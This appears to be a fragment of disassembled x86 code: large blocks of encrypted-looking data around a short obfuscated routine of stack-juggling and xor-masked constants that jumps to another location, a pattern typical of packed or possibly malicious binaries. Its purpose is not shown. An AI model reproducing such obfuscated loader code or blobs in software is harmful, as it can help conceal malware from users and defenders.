dd 82F908A2h, 9D14EBBEh, 0BD34CDD9h, 0F8AEB771h, 0E5CE9209h
dd 0B9EFB32Ah, 9A0DD148h, 0AC25EE65h, 0AE622800h, 1083BB19h
dd 6F47F37Ch, 21FD3A1h, 60D72A4Eh, 9908B42Dh, 0DE15F69Dh
dd 0DCD1A955h, 0B06425F8h, 269F538Ch, 30C24D66h, 1ED26488h
dd 3BFF7689h, 8401936Ch, 0FC20EFC4h, 0FC597460h, 4B932288h
dd 0B52ED1D6h, 97A1D37Fh, 2A5A4ABh, 0BE3559FDh, 0C052ADFAh
dd 0D0629D0Ch, 0B201C13Eh, 0FF23CB5Dh, 0E0C75A84h, 0E21D8A4Ah
dd 0FC9B6E46h, 0A94D01A0h, 96FA532h, 0F0364DF9h, 0C5E292B6h
dd 6B2BA83Ah, 8B33C53Ah, 34C67h, 0A7D50000h, 9A674540h
dd 0AC535408h, 0BF42661Ah, 0D53A792Dh, 0EA178F43h, 0FF02A458h
dd 0FF0B96Dh, 20E1C97Dh, 34CBDA8Eh, 0EC8386A2h, 243C8904h
dd 0C781E789h, 4, 8704EF83h
db 3Ch, 24h, 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push 3DF6h
mov [esp], ebx
mov ecx, 34B725F3h
shr ecx, 4
sub ecx, 4B306719h
push eax
mov eax, 0BE3E30EAh
xor ecx, eax
pop eax
push esp
mov ebx, [esp]
add esp, 4
push 1ABFh
mov [esp], ecx
xor dword ptr [esp], 6210271h
pop dword ptr [ebx+8]
xor dword ptr [ebx+8], 6210271h
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_535A7A
; ---------------------------------------------------------------------------
db 0ACh, 27h, 0E1h
dd 0BAB88FFEh, 3062541h, 0B4E0FFC5h, 0D529DB9h, 0F356CBD8h
dd 0E313B6B3h, 872B6DD1h, 9B39FD85h, 4F3923F5h, 0A95E9F65h
dd 48129C6Fh, 41223ADCh, 5B539150h, 0E82AEC07h, 0Ah, 0B3C2C4B4h
dd 86050A51h, 81665D89h, 59D5D9D3h, 14E9h, 0D9B77300h
dd 0DF09EA93h, 0ECEE56AFh, 2E773A5Dh, 0A31ADD75h, 0DDC18107h
dd 0E8000067h, 6, 0E19AC295h, 0DF8B4AFBh, 19C5B85Eh, 0FC530000h
dd 0F398B5Ah, 58Bh, 0D7DEBE00h, 0EF810262h, 5DD54C0Bh
dd 4840Fh, 0BE660000h, 0EF811FB6h, 6229F288h, 0EE8h, 0A8B22D00h
dd 0F0F4D807h, 3F8968B5h, 5BE0E82Dh, 6ABBEF81h, 81605B4Eh
dd 0DC5933CBh, 7E963h, 61460000h, 2DDBF59Dh, 3989614Ch
dd 5EF78B53h, 0F02E983h, 0B87h, 5830F00h, 0BA000000h, 3E113EDCh
dd 80604949h, 0BA56E2E0h, 2E067096h, 0E883615Bh, 7E850F01h
dd 81FFFFFFh, 6CD2C7C3h, 8EB1Bh, 2E000000h, 0E9561D1Dh
dd 494h, 25448A68h, 3A08E906h, 368FFFAh, 0E9062545h, 0FFFA39FEh
dd 25464C68h, 39F4E906h, 0F5B7FFFAh, 0D4D1950Ch, 0BAF0B42Bh
dd 9D0CD047h, 7F27EB62h, 5BF0B82h, 0E45BA600h, 57C9320h
dd 239A6741h, 40B7485Fh, 7A52FE77h, 0D19AE5Eh, 614562D5h
dd 3E6727A0h, 63872FC1h, 5A1E54D1h, 6DABDE60h, 2A7D2D51h
dd 0A9C5CD5h, 0F55CD3F7h, 4DD64F42h, 0D374C9A1h, 3EC3E51Fh
dd 0B42D5105h, 0F067F308h, 3ACC8015h, 0F2A6C69Ah, 31AD2C25h
dd 74474F0Ah, 2BC5E09h, 15D50000h, 36DE7091h, 4789C310h
dd 70946064h, 4B7FEB0Dh, 0C37927ECh, 822D6EFDh, 9E46D827h
dd 1DDD56FAh, 0DB547889h, 0EF91762Fh, 0C4570B15h, 0D4F8D724h
dd 8CFD3A22h, 0AB53E51Ch, 0F5E28E07h, 72197418h, 930F45BEh
dd 35EF176Ch, 0E037C9EDh, 0DB93257h, 1F93916Ch, 0A9565111h
dd 52CB6F17h, 90681592h, 0DFE1A879h, 0C8FE771Bh, 0B749ACB1h
dd 2AA1C5DAh, 0F4B24166h, 3502690Dh, 30F9EA4Bh, 2D67B9Ah
dd 0F1BB0000h, 0D0D59910h, 0B6F4B82Fh, 9910D44Bh, 7B2BEF66h
dd 9C30F86h, 0E85FA204h, 9808F24h, 279E6345h, 44BB4463h
dd 7E56027Bh, 1119AE5Dh, 95A266D9h, 68DB8700h, 0F515F6E6h
dd 0FA8C7535h, 7535AE52h, 0CC59D031h, 43679A0Ch, 0DD6C1393h
dd 7E499D68h, 6E46F26Bh, 125F964h, 9A17A94Dh, 8434CBDAh
dd 1CB8DC23h, 25F9644Dh, 4CB34C5Bh, 0F00DEC95h, 5DBBDA70h
dd 42000002h, 5C20976Ah, 7B3FB649h, 975BD22Fh, 0B276ED12h
dd 4A960DF4h, 0E8198D90h, 906AD71h, 27DACE92h, 44BBECB0h
dd 0DF8B04CDh, 19AE5D07h, 0A2EF629Ah, 0DB870095h, 15F6E668h
dd 0F7A32CB5h, 25F8E61Fh, 8A62FEB2h, 1D25F8E5h, 11B54A5Dh
dd 8700B4EDh, 0E57A52FEh, 590D25F8h, 2F03A335h, 9525F8E6h
dd 5A90C816h, 0D1A57289h, 29BFE3F1h, 94E7D50h, 1497Dh
dd 62450A00h, 50570B9Dh, 66D138AFh, 6121AA23h, 0F793B748h
dd 15F0A9E2h, 5FAAF6Fh, 18E9BF73h, 0C13ED074h, 0CA5CA501h
dd 8E62FE22h, 0F425F2A8h, 87D26975h, 26097441h, 48h, 9068149Dh
dd 2325F2B0h, 0B116EE9Ah, 0F5A925F2h, 7CCA2D51h, 0A00AE9BCh
dd 8327CF61h, 662B0C5Fh, 867B2DEDh, 0AF284CF4h, 0F0815E03h
dd 0C5570B15h, 0E01F8848h, 0C14C20BCh, 33B225F2h, 5CC990ABh
dd 8AE40974h, 71000000h, 0B9D6245h, 20B24F57h, 0A4423B6Ch
dd 34E850BBh, 15D54EF2h, 0B94B6F90h, 0E65DA205h, 0D31C4836h
dd 0AC53541Fh, 4C337333h, 0E2CA9F4Eh, 183CE065h, 98FD3AA1h
dd 0E98E731Fh, 873B15F4h, 0A9584E0Eh, 0C9386E32h, 9A9C162h
dd 0C7E67CF0h, 114h, 0D74EB3F9h, 0F66D9213h, 12897832h
dd 2DA45B4Eh, 4DC43D69h, 683E4701h, 555E2299h, 297F43BAh
dd 0A9D61D8h, 3CB57EF5h, 0AE5BB890h, 0A0134B19h, 29A06145h
dd 46BD4265h, 9D6245CFh, 0BC436424h, 55520698h, 1DA633AAh
dd 0D3A19971h, 54782C1Fh, 60473601h, 0D682FB9Fh, 15F0F092h
dd 5010893Dh, 8434AB56h, 25F2EFB0h, 0A51CE3C4h, 0AA3CC5E1h
dd 9F8Bh, 95A21400h, 64DB8700h, 0B915F6E6h, 0E5AC8430h
dd 8B3F25F8h, 0F8F82E67h, 0A49080E4h, 7024B65Ah, 8D51C837h
dd 33CCD91Ah, 4A80FD8Fh, 7D061F0Ah, 22FAA68Dh, 0B525F8B2h
dd 9D395D01h, 0F6110852h, 0E2304D58h, 8E26619h, 2EE27418h
dd 0B2F3857Ch, 7076B727h, 708523E3h, 9224C837h, 934BC6EAh
dd 6FE6198Eh, 8A03FCABh, 8E20DFCAh, 52A12664h, 6D11FC83h
dd 7A3AB749h, 9C44D639h, 1EE1C878h, 637BFA8Ch, 9F16E9BEh
dd 0A133CCDBh, 0F82h, 0BC7C0B00h, 639E0AE9h, 0F38529D1h
dd 72D9274Bh, 89A6745h, 1AAC5354h, 2DBF4266h, 43D53A79h
dd 58EA178Fh, 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh
dd 6E986886h, 34890000h, 25DD6824h, 0C890000h, 61456824h
dd 3C890000h, 4EC8324h, 0BD242C89h, 625438Eh, 685DE989h
dd 5D70h, 81242489h, 42404h, 525F0000h, 8BAh, 50FA0100h
dd 289C889h, 3C8B5A58h, 0E2895224h, 4C281h, 0C2810000h
dd 4, 5C241487h, 50240C8Bh, 405E089h, 83000000h, 48704C0h
dd 8BE95C24h, 21FFFA35h, 0DD678920h, 0F39615C4h, 0F4B658C2h
dd 254785B8h, 0FFC50306h, 3DCB29E0h, 823F2B0Dh, 0DFB76D7Dh
dd 0B555357Eh, 1449F145h, 0C6365A11h, 0D2A1A62Ah, 19472C52h
dd 7E1E2361h, 6814378h, 0B897B538h, 9A013922h, 4074376h
dd 97694B35h, 0A4C2F85Bh, 0EF260708h, 7C06E84Eh, 818B7A14h
dd 3EE85375h, 32565DB1h, 666ACF3h, 325655F3h, 3256ABB1h
dd 5C94D5B1h, 9D10EAE9h, 325675E8h, 3256BAB1h, 32565DB1h
dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
dd 325675B1h, 3256BAB1h, 32545DB1h, 3581AEB1h, 325257B6h
dd 3247ABABh, 3247D599h, 3256E83Eh, 325677F7h, 0F27DB8F7h
dd 325FB42Dh, 6BAEB1h, 4C6F5732h, 0B2A3876Eh, 34BFCD44h
dd 6456EAB1h, 0D0FBB166h, 0FDEF27C2h, 53258CF0h, 5204FEE1h
dd 32565E58h, 51C4B6B1h, 8D88CCD1h, 3FBE3F3Dh, 635675B1h
dd 0BF720D07h, 0BBC60EF3h, 77EA013Fh, 35936E9h, 325F43D1h
dd 0C0ABD5B1h, 0CAF2AF2h, 6BE3992Eh, 9347AC0Ah, 6A0C3CE3h
dd 0B90CAB27h, 5570D6D9h, 31E416A5h, 6A0C8DEBh, 0B8A3C626h
dd 680E2F4Ah, 0E5002AE9h, 41B4F075h, 0FD780781h, 0B33032EDh
dd 0DBD3E358h, 3256D5B7h, 2FA22DB7h, 53CB1623h, 0D7C3E2EBh
dd 32DD3CEBh, 37BFFCE1h, 0AB5657B1h, 675A94EFh, 6006E4BEh
dd 3598BD1h, 6A0C14D1h, 76DFE2EBh, 21BF5995h, 1D56AEB1h
dd 794C928Dh, 15B0EA99h, 0F124A865h, 2DE893F1h, 0BD0E40DDh
dd 99AC9FADh, 0F5E1522Ch, 3256F6D0h, 71A4AAB1h, 0AD685271h
dd 6A0C605Dh, 3672AE38h, 325A9CD1h, 5FD2BAB1h, 5BA66E13h
dd 174A215Fh, 0DBCAFC4Bh, 3256ABBAh, 608B6136h, 0AC8FCA92h
dd 54C339CEh, 0C36E6A30h, 32565B58h, 0D621D8B1h, 0AF4555FCh
dd 3256F3D0h, 9661E3B1h, 0AF8528BCh, 53A4FEEFh, 3256BAE9h
dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
dd 0DA36EAB1h, 325675B1h, 26BC3BEBh, 0BF5078FAh, 16C76434h
dd 58D4DEB7h, 0BF508EF9h, 17849B33h, 5CD463B7h, 0DA5050F9h
dd 3256B3FFh, 32562659h, 68D469B1h, 325072F9h, 6056ABB1h
dd 12735077h, 5A00ECAEh, 0AEFECDE3h, 270F4Eh, 0B7DB5BAEh
dd 3474D722h, 0B7DF874Eh, 3449B440h, 323ED1DBh, 5A56EAA1h
dd 325578F1h, 0E2A9BADBh, 469656EBh, 68D42782h, 0BB5072F9h
dd 171EF533h, 3F166CB7h, 0CADDEAB2h, 98A5B582h, 5A52D0E3h
dd 32564DB1h, 3252AED9h, 0CD563DB1h, 2D495A23h, 0B0DF8FB7h
dd 3473A21Fh, 68D3FED0h, 0F1509FF9h, 0C3D49AD1h, 3250B1B1h
dd 0F55617B1h, 2D496E33h, 3246D5B7h, 52958BB1h, 7A0CCF3Ah
dd 0DD5BC94h, 0B17529B1h, 4654BECEh, 2229D4BAh, 0B158DFB5h
dd 0D8BDC176h, 3346AD76h, 0D95675B1h, 22117D43h, 32565DB2h
dd 0F137475Ah, 52BADCE4h, 3256AB59h, 0D8D78FB1h, 3473A6B8h
dd 7AE4C73Ah, 77DDBC94h, 0B150D4B9h, 171E1C33h, 0FB3753B7h
dd 5256AF73h, 3256D559h, 0D8D7B0B1h, 3473399Ch, 7AF8083Ah
dd 806D5B94h, 3473E603h, 0CDD6CC5h, 8459743Ah, 75A0D4FEh
dd 36236AB0h, 30BDACB2h, 7115639Ah, 355FD83Ah, 0BFDDA8AEh
dd 34495F40h, 3B24738Ah, 37210C8Ah, 0D9522C32h, 46994E78h
dd 0C3EB33B9h, 0D95042B9h, 5295CF06h, 32565759h, 0D8D7F1B1h
dd 34739934h, 7AF8503Ah, 32EF7394h, 156BAB0h, 0B9FDAE71h
dd 171E0033h, 80D4DEB7h, 53508EF9h, 32BEB572h, 6856EAB1h
dd 7EF99F30h, 0B790BC94h, 34497D94h, 5F6FC6E7h, 87A983AEh
dd 344999C0h, 4BC5503Ch, 0E2A9EC93h, 323E25E3h, 5856BA31h
dd 68E4A2B1h, 0CD508BF9h, 5A0C0F61h, 32562BB1h, 80A9D5DBh
dd 3473A21Fh, 0F137A54Eh, 52BA31E4h, 32565D59h, 0D8D7F4B1h
dd 34731B4Ch, 0DA5EDE3Ah, 3256D729h, 58C415E4h, 6F5050F9h
dd 475ACF8Ah, 30D0B55Fh, 0FB37AEB1h, 67565F73h, 0F6D5473Ah
dd 6101834Dh, 3256EA59h, 0D8D72FB1h, 3473F780h, 0B95E283Ah
dd 6401BECCh, 32566059h, 4696A0B1h, 67AE5E90h, 7A3C784Eh
dd 90B7394h, 2022B6C4h, 0B248D6D7h, 2CDC5E56h, 0DAA6B431h
dd 3256AD2Ch, 4FDF015Ah, 0CC0B024Dh, 6D0D8A4Eh, 0CE1331EFh
dd 325A9F78h, 0B1BA25E4h, 6401AF75h, 7791F8E0h, 3256D549h
dd 0A8D42DB1h, 335050F9h, 0B956BAB1h, 0B93055C4h, 68EC25AFh
dd 0B95072F9h, 0E95DA3EEh, 0EC6DDAC5h, 6FDDECC4h, 3E09FCBDh
dd 0D9427D32h, 2CDD3B5Bh, 3DBE5531h, 32569935h, 0DBAD2BB1h
dd 329351BEh, 0C9D6EAB1h, 8ED27A5Ah, 0B256BAB1h, 0B659BF4Ah
dd 3256AE1Dh, 3DB5AC31h, 32563135h, 0C9D7B3B1h, 0B65909D6h
dd 32567529h, 54A65D31h, 0B259A630h, 32C72ABEh, 0D1D657B1h
dd 42AD2B41h, 32D351BEh, 0B930EAB1h, 0CAB5F5AFh, 46EE4131h
dd 3768DDF3h, 0CD693C5h, 0B26E239Ch, 122C38Fh, 7ACC574Eh
dd 0B930EC94h, 0CAB1F5AFh, 0B3AD3BD7h, 54762959h, 0D5D6B03Ah
dd 0C9D73141h, 21226B30h, 0A0A980D1h, 3473A2DBh, 0CE13FCECh
dd 0CE2B39D0h, 0B93528B0h, 2D565F0Bh, 0B0DD07B7h, 3473E32Bh
dd 6A66E988h, 88DDBAC3h, 34496A74h, 0A8D431E1h, 0B5078F9h
dd 4D0E9E8Dh, 0F546BC8Ch, 325453F4h, 35BDD5B1h, 33AEAF76h
dd 0B95675B1h, 171EE00Bh, 3949D6B7h, 949DA6Ah, 0B959226Fh
dd 4FD5A7ECh, 3122D549h, 0BBAEB7B2h, 0F5D571EEh, 1B451A5h
dd 3296B471h, 0B930AEB1h, 3E2BDCAFh, 46BD5031h, 0C2B555BBh
dd 46261131h, 0F4649EA7h, 759153B6h, 32565DB0h, 0B19125B1h
dd 0A5BF5271h, 5456ABB1h, 3A59D276h, 0D1D6F43Bh, 0B29DF5BEh
dd 0F557E539h, 32565FF6h, 0F5DDAEB1h, 0D9509732h, 0CD7CDC8h
dd 3D224521h, 47C6D431h, 4CD713BFh, 46C62A4Eh, 0B952B6B3h
dd 0BF094576h, 171EE133h, 0CD00FBB7h, 171EBB23h, 4696E1B7h
dd 0BF9EFEBBh, 171E0C03h, 6446B6B7h, 0CD03603Ah, 171E3D23h
dd 0FC7DF6B7h, 0B1080C46h, 475712CCh, 981FC5A1h, 0B75902D7h
dd 8459F6D7h, 0D9FDAFF7h, 0CA2BD4AAh, 5445DEB3h, 549FDE09h
dd 3DEE8C1Ah, 3DFD1335h, 9957FC07h, 96A55F5Ah, 6B0D693Ah
dd 0F09F08EFh, 0B903ABB9h, 32BEB55Dh, 6856EAB1h, 7DD99F30h
dd 77DDBC94h, 50D4D4B9h, 53508BF9h, 32529578h, 0B1BA20E4h
dd 0DA362D75h, 3256EAB1h, 82BCF4EBh, 0F5509FFEh, 3256A5F4h
dd 7791AEB1h, 3256574Dh, 549698B1h, 0B091CB3Ah, 3473A22Bh
dd 325675B0h, 0A2AD3BD7h, 0B2562821h, 0B659464Ah, 325656B9h
dd 0DBAD2BF1h, 32A851BEh, 0B216EAB1h, 0B6599E4Ah, 3256BA45h
dd 0C2B1DDF1h, 3DAD2FD7h, 0D7D25831h, 3156ABB1h, 2D436433h
dd 0C9D6AAB7h, 0FCD27A53h, 0B256BAB1h, 0B659BE4Ah, 3256AE0Dh
dd 55ADD6D7h, 88D2A452h, 0B256D5B1h, 0C9D61A52h, 87D27AC1h
dd 5456BAB1h, 0D1D6433Ah, 8AAD2E49h, 0CD610C5h, 0B214DFB4h
dd 0F22F88Fh, 463ED431h, 0B0A93589h, 3473F22Bh, 0B248D6D7h
dd 0B3305656h, 46BED64Ah, 2CDDCD95h, 54A63231h, 0F2D71130h
dd 673662C5h, 7A3C284Eh, 0BB0B5B94h, 0B13752F4h, 3D57ABCCh
dd 32578334h, 0C3EC5EB1h, 6250F5B1h, 7ACCF73Ah, 0E6FBC94h
dd 0B0590581h, 3256AFA0h, 2D93ED3Ah, 0B906ADAEh, 171E4F33h
dd 26AD3B7h, 0C8D97AE9h, 0B956BAB1h, 171E030Bh, 6CD42DB7h
dd 265072F9h, 75DF9C38h, 0B0DD85A1h, 3473A22Bh, 6A66693Ah
dd 0DB5EE538h, 32565D64h, 30AEEB76h, 0D95657B1h, 0CA136CB6h
dd 3256D5B0h, 7A08503Ah, 0B0D57394h, 3473F2EFh, 0BB61D4A5h
dd 0CAD5BEF6h, 0F55A22B2h, 171E3133h, 3256D7B7h, 0B15301B1h
dd 6D2B7749h, 32AEC732h, 845946C5h, 0B2FFAFF7h, 475657B1h
dd 0DAD5EBB7h, 1F5E3EB4h, 3256EA4Eh, 0D9539D32h, 0A8DDE9BAh
dd 3473152Bh, 6965AA3Ah, 32565718h, 3142DE31h, 37965677h
dd 7ACC68B2h, 0BB1E7394h, 75DFB2F6h, 0C500B6BDh, 0C5908569h
dd 3796D469h, 7ACC29B2h, 0BB1ED394h, 75DFE2F6h, 1689EBDh
dd 33103071h, 1323DD19h, 0F2D568B2h, 3257ECB3h, 0E95DABB1h
dd 0A8DCDCC5h, 34727C99h, 31579631h, 3A113372h, 0D95A1A38h
dd 178E59A5h, 3256574Eh, 0EAA16D9Ah, 0BB541532h, 75DFE2F6h
dd 0FB378DBDh, 0DEDDEF72h, 52AA9932h, 3256AE59h, 0D8D70DB1h
dd 3473FA70h, 7A0C6F3Ah, 0FB65EC94h, 3D564A32h, 32567835h
dd 0CD51D6B1h, 47A9A2C4h, 41BE07B9h, 4156ABB0h, 269156B4h
dd 77DF085Ah, 3E238A4Dh, 0CD5ECF4Eh, 330AB586h, 0B059AEB1h
dd 32565726h, 0BAAEE3Ah, 0BED4DAB6h, 0CD56EAB1h, 4DD589F4h
dd 3A22BAB5h, 325A2232h, 3CBDACC5h, 0CDA9A809h, 3253124Eh
dd 99A5D5B1h, 4DD5295Ah, 3D2270A1h, 3446C532h, 0B9174CC4h
dd 6DDDAAF6h, 0B915BCBDh, 6DDDAFF6h, 0B96F3EBDh, 6DDDEEF6h
dd 3A094EBDh, 0B904AFC4h
dd 677D59E6h, 2603ADA1h, 195A083Ah, 37BD286Bh, 0B9443EEBh
dd 6DDDEEF6h, 36095EBDh, 31535132h, 2D50183Bh, 22292DB7h
dd 735722B2h, 6EDF729Ah, 0CDEED4B0h, 8BA9154Eh, 325675B4h
dd 64BF1142h, 53A9A24Eh, 32466C78h, 0B1BADCE4h, 0DA365775h
dd 3256D5B1h, 9EBC6BEBh, 0B95050E3h, 171EE00Bh, 0B19F6EB7h
dd 0B659AE8Eh, 32565720h, 47A9AC3Ah, 3A232ABDh, 32DE02E1h
dd 372575B1h, 0D9427D32h, 0CE13D453h, 0CD5ADB4Eh, 5A95FC4h
dd 3256DA59h, 0B93CA7B1h, 356F16F4h, 77A916C3h, 3629394Dh
dd 0B15E29B1h, 4656A2CEh, 8A58BCB3h, 0CDA9544Eh, 3256D008h
dd 0D9FD19B1h, 2229F67Ah, 0B159CEB4h, 47504DCEh, 75DDEFA0h
dd 3E09DCB5h, 75DDB65Ah, 3E095EB5h, 75DDF95Ah, 3E09FEB5h
dd 0B152E59Ah, 4DD5585Ah, 3323ADA1h, 0BB8F7CF0h, 8A57AAEDh
dd 0CDA92A4Eh, 3256EF08h, 0D9FD86B1h, 0F09FDB36h, 0B9035DB9h
dd 77DDCE5Dh, 3E136CB9h, 776DA3C3h, 0CA55A2A1h, 0D9AFE95Ah
dd 0F09F14B1h, 0B903BABDh, 0CE92DE5Dh, 325646D1h, 0B30C57B1h
dd 1705295Bh, 19FE6B7h, 0CE0B636Ah, 7A0CCF3Ah, 0DD5BC94h
dd 0B13229B1h, 3723518Eh, 0D9429032h, 36292840h, 0B15EA1B1h
dd 4656E6CEh, 0CD5E9EB3h, 0F5D546F4h, 0B18DB6A5h, 4653BECEh
dd 2229D4BEh, 7347DEB7h, 0B952923Ah, 2FBDE6EEh, 0B952323Ah
dd 21BDB6EEh, 0B9521A3Ah, 6D7DA2EEh, 37BDD4B5h, 3146D432h
dd 1917D4C4h, 330A6368h, 0CDA9CDB0h, 37EF454Eh, 0C1565DB1h
dd 53C1451Ah, 0FBAA123Ah, 6107FB72h, 3256D559h, 0D8D7B0B1h
dd 347321BCh, 7A24203Ch, 56EE5B94h, 0DA56AEB1h, 32565763h
dd 0F36DA03Ah, 7955C15Ah, 4097D1B5h, 221D76A6h, 30247B8Ah
dd 26BD5F5Ah, 0A8DBBC5Ah, 3473E442h, 3ABD784Eh, 854F4F3Ch
dd 0E1A9EC94h, 0F10E2CEAh, 0DABA31E4h, 32565DB1h, 6EBC2FEBh
dd 525072E5h, 7A24113Ch, 77DDD394h, 0B95163B9h, 75DF79F4h
dd 221331B5h, 0B95A1A38h, 75DFBAF4h, 0F09F36A1h, 0F436ABA1h
dd 2D76F034h, 283EADB7h, 0CDFE62C2h, 2D64CB04h, 0A1D3D0B7h
dd 0CD508CC8h, 0B8DB0561h, 3473E32Fh, 68862AE0h, 7AC8683Ch
dd 85597394h, 0EADDB6F1h, 686752E3h, 0B0DF6DB2h, 34495908h
dd 5251C3D0h, 0E8h, 0EA815A00h, 62554CDh, 0B9828B52h, 0B9061F0Eh
dd 41C64E6Dh, 55AE1F7h, 3039h, 0FFFFFF25h, 0B982897Fh
dd 5A061F0Eh, 5251C359h, 0E8h, 0EA815A00h, 62554FDh, 0BBE8C88Bh
dd 33FFFFFFh, 8BF1F7D2h, 0C3595AC2h, 0C08BC08Bh, 4B0E858Dh
dd 0D0FF0625h, 8DC18B66h, 2554C685h, 99858906h, 8D061F16h
dd 2554F685h, 0C9858906h, 0B8061F08h, 0
dd 840FC00Bh, 47h, 202585C6h, 6856061Fh, 0A9C530DFh, 3271B5FFh
dd 858D061Fh, 6227993h, 8D50D0FFh, 1F05FD8Dh, 46A5106h
dd 100068h, 0CDB5FF00h, 0FF061F05h, 0CDBD8BD0h, 3061F05h
dd 0C7813C7Fh, 0F8h, 202447C7h, 8D600000h, 1F19459Dh, 0B038B06h
dd 5840FC0h, 8B000000h, 4438900h, 234CF6B9h, 438D8D00h
dd 8B062556h, 1F1D01B5h, 5D8D8906h, 6A061F0Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 7B8DC357h, 85C7D78Bh, 61F20C5h, 631Ch, 0C94458BBh, 0C703B456h
dd 1F137D85h, 6, 57D78000h, 1575B5FFh, 8589061Fh, 61F1C61h
dd 2D5995FFh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 6967E5C3h, 0BEAE33FFh, 13757F40h
dd 0DBD8D29h, 8589061Fh, 61F10D9h, 95FF006Ah, 61F1D45h
dd 0FEBC08Bh, 274AA3EFh, 190CC9BFh, 2C055847h, 0E83E7308h
dd 10h, 778480C9h, 0C17F1EC8h, 0EA65C71h, 0E9B4282Bh, 23D18501h
dd 15A061Fh, 1F0A358Dh, 0A7C28106h, 6600005Bh, 0DE0EE81h
dd 5F6B1BFh, 75F78168h, 0F6805E0h, 68Dh, 0A1950100h, 8B061F1Eh
dd 0F3B70F0Ah, 28D0E981h, 0E58A1A18h, 58F1F181h, 8D8954A7h
dd 61F2EA1h, 36FF181h, 8D893537h, 61F2BD5h, 28FFC51h, 0E36EB866h
dd 0E804EA83h, 0Eh, 8F38A6AEh, 40794905h, 55699DEDh, 852B2502h
dd 61F18D5h, 1EF8158h, 0F000000h, 0FFFFAA85h, 6DB58BFFh
dd 8D061F05h, 2557948Dh, 6DBD8B06h, 66061F2Eh, 439ED081h
dd 0B5D8D89h, 85C7061Fh, 61F20C5h, 5CE4h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 14h, 0A0C35242h, 33DB589h
dd 8C0F061Fh, 6, 0F5DBD89h, 85C7061Fh, 61F137Dh, 0
dd 1867E381h, 0B5FF4318h, 61F157Dh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 10C35747h, 0E41A509h, 3E97668Ch
dd 66F08B3Fh, 0FFC005BEh, 1F2D5995h, 0FF006A06h, 1F1D4595h
dd 0EBC08B06h, 94F02D3Fh, 2EF86C4Dh, 46780610h, 0C9A41EBFh
dd 5D0D268Bh, 4B13ED1h, 0E2184FA4h, 92EA333h, 9EA62C7Bh
dd 3B436903h, 0C15ACAE6h, 2582DF06h, 0EC8021DAh, 677A2C2Fh
dd 12A2EEB4h, 430E8ED5h, 0DE8h, 0B7014700h, 0FEB64227h
dd 7A4C9B76h, 28BE4887h, 5F2A5689h, 69B5C781h, 0BE660000h
dd 0C92BED0Eh, 2F3D958Bh, 34FF061Fh, 89958B39h, 58061F07h
dd 8AC081F5h, 8B60CFE5h, 97F081D6h, 665B1200h, 81AE60BBh
dd 0EE6CF2E8h, 50F08A7Fh, 5D9589h, 48F061Fh, 8166570Fh
dd 5BAF9CE2h, 1FE99D8Bh, 0E983061Fh, 1D9D8B04h, 81061F0Ah
dd 0FF96ECF9h, 16850FFFh, 66000000h, 0A2D5E281h, 25E9h
dd 6A291000h, 77A9B468h, 41D7B057h, 5DB58948h, 0E9061F15h
dd 0FFFFFF8Eh, 28BFC079h, 1BF82FD8h, 8AD7B348h, 8D8D04FAh
dd 6255943h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 5C35141h, 707A3705h, 0E9FCFCE9h, 14h, 0E6BEBFA6h
dd 0E2281957h, 0D73CA4E3h, 810D02ADh, 5461BF4Fh, 5D8D89F8h
dd 6A061F0Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 5F46C351h, 446C39F4h, 89DD7B08h
dd 1F161185h, 0C585C706h, 0C4061F20h, 3100005Dh, 1F1AEDB5h
dd 7D85C706h, 61F13h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 0F2B2C352h, 0B5FF18EFh
dd 61F0D29h, 95FF39B4h, 61F2D59h, 95FF006Ah, 61F1D45h
dd 3AEBC08Bh, 0D1524EF6h, 779CD725h, 50452C70h, 3F0868FEh
dd 6BEDF92h, 55A7B98Eh, 0F6139330h, 5C89F774h, 4087425Eh
dd 0AB01F36Bh, 840F688Bh, 9DD6CFA4h, 5241B44h, 0D6F2E330h
dd 0AE81D9Ah, 81000000h, 0BBE7B047h, 9EBFC67Bh, 75958B7Ah
dd 59061F0Eh, 8E9h, 7B64A900h, 717DD939h, 0A9C18120h, 8B000071h
dd 1F137995h, 188BF06h, 0EF814FE3h, 4FE2E542h, 8FECB866h
dd 0C381318Bh, 1DC71A27h, 5F93EE81h, 958B24C7h, 61F0885h
dd 0F0E2F681h, 11E836EAh, 79000000h, 0AFCE3CEDh, 9A5B2BCFh
